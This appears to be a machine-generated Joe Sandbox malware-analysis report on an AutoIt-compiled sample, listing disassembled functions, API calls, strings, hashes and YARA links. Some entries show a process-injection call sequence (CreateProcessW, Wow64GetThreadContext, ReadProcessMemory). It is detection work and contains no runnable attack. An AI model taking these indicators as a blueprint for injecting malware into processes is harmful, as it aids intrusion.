Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated$%(
API String ID: 129472671-2106168780
Opcode ID: a5782059aded3511fe20215df836a38104e866d77d087ac0d7e92c80dc7a5fdb
Instruction ID: f9351ae37ef79086542e825aabe8c444581866509cc4e9e3cb4580c7dc7116e4
Opcode Fuzzy Hash: a5782059aded3511fe20215df836a38104e866d77d087ac0d7e92c80dc7a5fdb
Instruction Fuzzy Hash: A44137B222451DBBDB287F64FC0DBB93795EB00351F100225FB22DA2A1DB609FA09661

Function 001F3A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 001F3A50
LoadCursorW.USER32(00000000,00007F00), ref: 001F3A5F
LoadIconW.USER32(00000063), ref: 001F3A76
LoadIconW.USER32(000000A4), ref: 001F3A88
LoadIconW.USER32(000000A2), ref: 001F3A9A
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 001F3AC0
RegisterClassExW.USER32(?), ref: 001F3B16

Part of subcall function 001F3041: GetSysColorBrush.USER32(0000000F), ref: 001F3074
Part of subcall function 001F3041: RegisterClassExW.USER32(00000030), ref: 001F309E
Part of subcall function 001F3041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 001F30AF
Part of subcall function 001F3041: InitCommonControlsEx.COMCTL32(?), ref: 001F30CC
Part of subcall function 001F3041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 001F30DC
Part of subcall function 001F3041: LoadIconW.USER32(000000A9), ref: 001F30F2
Part of subcall function 001F3041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 001F3101

Strings

#, xrefs: 001F3AFB
0, xrefs: 001F3AF4
AutoIt v3, xrefs: 001F3B05

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 1174db253f888b0da15d02ad44a8b78777795b7bcd42622eecfd8542ae1f665b
Instruction ID: ff6eb3c220a056df7157560c0e418841caa595dcf09130bd2ad5b1a17302eef7
Opcode Fuzzy Hash: 1174db253f888b0da15d02ad44a8b78777795b7bcd42622eecfd8542ae1f665b
Instruction Fuzzy Hash: 63215C70D05318AFEB55DFA4FD0DB9D7BB0FB08711F00022AFA04AA2A1D3B55A508F84

Function 001F3766 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CMDLINERAW, xrefs: 001F37FB
/AutoIt3ExecuteScript, xrefs: 001F38BC
/AutoIt3OutputDebug, xrefs: 001F3892
/AutoIt3ExecuteLine, xrefs: 001F38A7
CMDLINE, xrefs: 001F3822
R+, xrefs: 0022D213
/ErrorStdOut, xrefs: 001F387D
>>>AUTOIT NO CMDEXECUTE<<<, xrefs: 001F37AE

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: FileLibraryLoadModuleName__wcsicmp_l_memmove
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$>>>AUTOIT NO CMDEXECUTE<<<$CMDLINE$CMDLINERAW$R+
API String ID: 1825951767-962643660
Opcode ID: 3fa0ddbc1435ff1196b2d1690592605c971bf6fef59cdd34a54ebff42ff262e6
Instruction ID: 6165f559835c557d66e5ac78756c15b8aa7ea133a8c50463ce6ef920783f2b44
Opcode Fuzzy Hash: 3fa0ddbc1435ff1196b2d1690592605c971bf6fef59cdd34a54ebff42ff262e6
Instruction Fuzzy Hash: CEA16E7191022DAACF05EBA4DC95EFEB779BF25300F400529FA16B7192DF745A08CB60

Function 001FF76F Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00210162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00210193
Part of subcall function 00210162: MapVirtualKeyW.USER32(00000010,00000000), ref: 0021019B
Part of subcall function 00210162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 002101A6
Part of subcall function 00210162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 002101B1
Part of subcall function 00210162: MapVirtualKeyW.USER32(00000011,00000000), ref: 002101B9
Part of subcall function 00210162: MapVirtualKeyW.USER32(00000012,00000000), ref: 002101C1

Part of subcall function 002060F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,001FF930), ref: 00206154

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 001FF9CD
OleInitialize.OLE32(00000000), ref: 001FFA4A
CloseHandle.KERNEL32(00000000), ref: 002345C8

Strings

\T+, xrefs: 001FF7F7
S+, xrefs: 001FF7EB
%(, xrefs: 001FF796, 001FF7A8, 001FF96E, 001FFA51
<W+, xrefs: 001FF930

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: <W+$\T+$%($S+
API String ID: 1986988660-615568945
Opcode ID: de004709ab53d68e5d5ee9a184c3149610b63a78feb703724e5af464557228b7
Instruction ID: ca0bba63933cb4984bda4a589b212a3e950d1fe587454226b0b001833989c55f
Opcode Fuzzy Hash: de004709ab53d68e5d5ee9a184c3149610b63a78feb703724e5af464557228b7
Instruction Fuzzy Hash: 7881DCB0921B608EC385EF29B949759BBF5FB58306794866AE018CF3B2EB7004958F10

Function 010B2600 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 010B26D1
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 010B28F7

Memory Dump Source

Source File: 00000002.00000002.2452189731.00000000010B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 010B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10b0000_MzqLQjCwrw.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
Instruction ID: fc66588b9416cbbe919475c821bcd101fe1db6641289077a96fb33adf098cbdb
Opcode Fuzzy Hash: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
Instruction Fuzzy Hash: FEA11C74E01209EBDB14CFA4C994BEEBBB5FF48304F208599E541BB280D775AA45CF94

Function 001F39D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 001F3A03
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 001F3A24
ShowWindow.USER32(00000000,?,?), ref: 001F3A38
ShowWindow.USER32(00000000,?,?), ref: 001F3A41

Strings

edit, xrefs: 001F3A1E
AutoIt v3, xrefs: 001F39FB, 001F3A00, 001F3A01

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 16b799b64297e40d2be2f6431c77f6fba27266e0941f99e0a637201a68eb1531
Instruction ID: 56445a550f3d28c8168484c226a5ae437d16bff899e0c51e097a3974803e6e53
Opcode Fuzzy Hash: 16b799b64297e40d2be2f6431c77f6fba27266e0941f99e0a637201a68eb1531
Instruction Fuzzy Hash: A3F0DA715426A0BEEA7157277C4DF6B6E7DD7C6F50F00422ABD04AA270C6711851DAB0

Function 010B23B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 010B22A0: Sleep.KERNELBASE(000001F4), ref: 010B22B1

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 010B24EB

Strings

DAY05M60YK85WJVE8GGLDRSU13C, xrefs: 010B254E, 010B2551

Memory Dump Source

Source File: 00000002.00000002.2452189731.00000000010B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 010B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10b0000_MzqLQjCwrw.jbxd

Similarity

API ID: CreateFileSleep
String ID: DAY05M60YK85WJVE8GGLDRSU13C
API String ID: 2694422964-326961961
Opcode ID: 88989b522df537db4dae3cf2eedf648aca6fc2319ae0922885e4c6ff9522beb9
Instruction ID: 7ebcc96a07d1189e503a512f305d67cd8215e9e20723b472daf2648a8c89c7c3
Opcode Fuzzy Hash: 88989b522df537db4dae3cf2eedf648aca6fc2319ae0922885e4c6ff9522beb9
Instruction Fuzzy Hash: 28616230D04288DAEF12DBB8C855BEFBBB4AF19304F044199E6497B2C1D7B91B49CB65

Function 001F407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 0022D3D7

Part of subcall function 001F7BCC: _memmove.LIBCMT ref: 001F7C06

_memset.LIBCMT ref: 001F40FC
_wcscpy.LIBCMT ref: 001F4150
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 001F4160

Strings

Line: , xrefs: 0022D400

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: IconLoadNotifyShell_String_memmove_memset_wcscpy
String ID: Line:
API String ID: 3942752672-1585850449
Opcode ID: 1553e20aff9248ca21383c4bea46d1ea82b3ca61bb78fdbc65481a94589eb671
Instruction ID: db9933fee0686b5a3d5ee056b5e011444dd7f44d29ce9c9ca6b9658f5fdc829d
Opcode Fuzzy Hash: 1553e20aff9248ca21383c4bea46d1ea82b3ca61bb78fdbc65481a94589eb671
Instruction Fuzzy Hash: AA31C171009719ABD325EB60EC49FEB77D8AF64300F10461EF785960E1EF70A658CB82

Function 0021541D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0021547B
_memcpy_s.LIBCMT ref: 002154ED
__read_nolock.LIBCMT ref: 0021554B
__filbuf.LIBCMT ref: 0021556E
_memset.LIBCMT ref: 002155B2

Part of subcall function 00218B28: __getptd_noexit.LIBCMT ref: 00218B28

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction ID: bcac4a3ac9f873067e711e1d2955c2686b5c53f2df4d0b54943903e52dcfbc79
Opcode Fuzzy Hash: dfdd2df0ab245b9716d30a375d324e0946404ce6e082d96a71c3349c3dbc91e5
Instruction Fuzzy Hash: 4151CC70A20B16EBCB248F65D8805EE77E7AFA0321F6447A9F425961D0D7709DF08F40

Function 001F686A Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 001F4DDD: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,002B52F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 001F4E0F

_free.LIBCMT ref: 0022E263
_free.LIBCMT ref: 0022E2AA

Part of subcall function 001F6A8C: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 001F6BAD

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 0022E039
Bad directive syntax error, xrefs: 0022E292

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: >>>AUTOIT SCRIPT<<<$Bad directive syntax error
API String ID: 2861923089-1757145024
Opcode ID: bc6859fd1279fd36b888996c2444c932409bbfd23c359f5af433dfbcd6660b57
Instruction ID: cc302312d740b4cb75aeec3e25acb882507ec3d508cdd66951305f9455a44b5f
Opcode Fuzzy Hash: bc6859fd1279fd36b888996c2444c932409bbfd23c359f5af433dfbcd6660b57
Instruction Fuzzy Hash: CE91807192022DEFCF04DFA4D8818EDB7B8FF19310B104429F916AB2A1DB709D65DB50

Function 001F35B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,00000003,00000000,80000001,80000001,?,001F35A1,SwapMouseButtons,00000004,?), ref: 001F35D4
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,001F35A1,SwapMouseButtons,00000004,?,?,?,?,001F2754), ref: 001F35F5
RegCloseKey.KERNELBASE(00000000,?,?,001F35A1,SwapMouseButtons,00000004,?,?,?,?,001F2754), ref: 001F3617

Strings

Control Panel\Mouse, xrefs: 001F35D2

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 36759cdf23148d4e90022316ce427da1e83908e314087a0fb4feee0c179c7a1e
Instruction ID: 2645a5747e3dfad7d3f4b7e6a71bb443a671d1db79d56d2de41861768a77b83d
Opcode Fuzzy Hash: 36759cdf23148d4e90022316ce427da1e83908e314087a0fb4feee0c179c7a1e
Instruction Fuzzy Hash: 2711457161420CBFDF208F64EC84ABEBBB8EF04750F018469E909D7210E3719F409BA0

Function 010B12A0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 010B1ACD
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 010B1AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 010B1B13

Memory Dump Source

Source File: 00000002.00000002.2452189731.00000000010B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 010B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10b0000_MzqLQjCwrw.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: e8e7a77c1c38f92167ec50984bffac71589908538948dc0fdf133907e09ee162
Instruction ID: 1e2d7efa89ac02fdda6abbbbe03eecfecc6c15fb2bce8e073245601ece13a118
Opcode Fuzzy Hash: e8e7a77c1c38f92167ec50984bffac71589908538948dc0fdf133907e09ee162
Instruction Fuzzy Hash: 49621A30A14258DBEB24DFA4D890BDEB372EF58700F1091A9D20DEB394E7759E81CB59

Function 0025955B Relevance: 6.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 001F4EE5: _fseek.LIBCMT ref: 001F4EFD

Part of subcall function 00259734: _wcscmp.LIBCMT ref: 00259824
Part of subcall function 00259734: _wcscmp.LIBCMT ref: 00259837

_free.LIBCMT ref: 002596A2
_free.LIBCMT ref: 002596A9
_free.LIBCMT ref: 00259714

Part of subcall function 00212D55: RtlFreeHeap.NTDLL(00000000,00000000,?,00219A24), ref: 00212D69
Part of subcall function 00212D55: GetLastError.KERNEL32(00000000,?,00219A24), ref: 00212D7B

_free.LIBCMT ref: 0025971C

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 50af52b8f22919c11c7515362fb071ee60fc7e1c9e9e4129b0e36dbf2dd802cb
Instruction ID: 9ac703dbe43a98e91ce26151f64c57e356a8678d96eae4e5e3306bf7ea29bc93
Opcode Fuzzy Hash: 50af52b8f22919c11c7515362fb071ee60fc7e1c9e9e4129b0e36dbf2dd802cb
Instruction Fuzzy Hash: 78513BB1914258EBDF249F64DC81AAEBBB9EF48300F10449EF60DA3241DB715A94CF58

Function 0021470A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 002147A0
__flush.LIBCMT ref: 002147C0
__write.LIBCMT ref: 002147F3
__flsbuf.LIBCMT ref: 00214821

Part of subcall function 00218B28: __getptd_noexit.LIBCMT ref: 00218B28

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction ID: f9347b756314ea596715dc069788cbf157e792fcda5b8bda86d4018112b850c5
Opcode Fuzzy Hash: 998aeda2236a74d80706e5f9a46343bd1135ee917ddd04e378ba6ed458c3dace
Instruction Fuzzy Hash: C341D674A207469BDB18EE69CC809EEB7E6AF65364B24813DE81DC7680D770DDE18B40

Function 001F4C70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 001F4CBA

Strings

AU3!P/(, xrefs: 001F4CB4
EA06, xrefs: 0022D8CC

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: _memmove
String ID: AU3!P/($EA06
API String ID: 4104443479-2981608435
Opcode ID: a61addb4abceabd71897beb30f0e7d499292b736c64b1b6d4b0c22fab4ef775a
Instruction ID: 00d5501866f6b321155d5a8216fc8f5f368c5bff0a75d68d78dccf6ac379f466
Opcode Fuzzy Hash: a61addb4abceabd71897beb30f0e7d499292b736c64b1b6d4b0c22fab4ef775a
Instruction Fuzzy Hash: 60418D31A0415C67DF259FE488617BF7FA2DB65300F284474EF86DB282D7208D4483A1

Function 001F7285 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0022EA39
GetOpenFileNameW.COMDLG32(?), ref: 0022EA83

Part of subcall function 001F4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,001F4743,?,?,001F37AE,?), ref: 001F4770

Part of subcall function 00210791: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 002107B0

Strings

X, xrefs: 0022EA51

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 8bae3f60be8f089c1f864fa249994df087d6f06f555d080841672f08beb802da
Instruction ID: aed505240a92309f9f161ed0cdd19e0453fbcaa12c8f3411f820fde4a334b579
Opcode Fuzzy Hash: 8bae3f60be8f089c1f864fa249994df087d6f06f555d080841672f08beb802da
Instruction Fuzzy Hash: D821C370A1029CABCF419FD4D845BEE7BF8AF59310F004059E908AB281DFB459998FA1

Function 00258D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00258DAC
__fread_nolock.LIBCMT ref: 00258DC1

Strings

EA06, xrefs: 00258DF3

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.000000000027F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450052662.00000000002A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450103511.00000000002AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2450123825.00000000002B7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f0000_MzqLQjCwrw.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: 74f8d244457cbd43f1a47c188bb7305e16d05b3de4e59a01a09047cfb4f45d89
Instruction ID: baff533bf90ed9580a2bcdc01dc6ab71f23ca0018cb0e5495202aa9110220581
Opcode Fuzzy Hash: 74f8d244457cbd43f1a47c188bb7305e16d05b3de4e59a01a09047cfb4f45d89
Instruction Fuzzy Hash: FC01F9718142187EDB18CAA8C856EEEBBF8DB15301F00419AF552D2181E8B5A6188BA0

Function 002598E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 002598F8
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 0025990F

Strings

aut, xrefs: 00259909

Memory Dump Source

Source File: 00000002.00000002.2449964781.00000000001F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000002.00000002.2449943752.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
